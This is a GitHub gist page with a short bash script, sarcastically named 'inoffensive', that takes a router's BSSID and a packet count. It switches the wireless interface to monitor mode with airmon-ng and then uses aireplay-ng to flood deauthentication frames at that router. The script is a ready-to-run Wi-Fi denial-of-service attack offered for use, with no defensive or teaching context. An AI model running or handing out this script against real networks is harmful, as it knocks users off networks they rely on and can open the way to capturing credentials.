Skip to content

Instantly share code, notes, and snippets.

@philippeoz
Created January 5, 2018 21:55
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save philippeoz/cbfbb2d0fd6f18657729e08f79f1b25a to your computer and use it in GitHub Desktop.
inoffensive script
#!/bin/bash
###########################################################################
# HOW TO USE
# - Install the aircrack-ng pack
# $ sudo ./inoffensive.sh 98:DE:D0:D6:EE:64 100
# - The argument "98:DE:D0:D6:EE:64" is a BSSID/MAC of router
# - And the argument 100 is the number of packets that will be sent
###########################################################################
my_interface () {
iw dev | awk '$1=="Interface"{print $2}'
}
mon_stop () {
airmon-ng stop $1
}
mon_start () {
airmon-ng start $1
}
MAC_ROUTER="$1"
if [ "$3" == "--mon" ]; then
mon_stop $(my_interface)
mon_stop $(my_interface)mon
mon_stop $(my_interface)mon0
mon_start $(my_interface)
fi
aireplay-ng -0 $2 -a $MAC_ROUTER $(my_interface)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment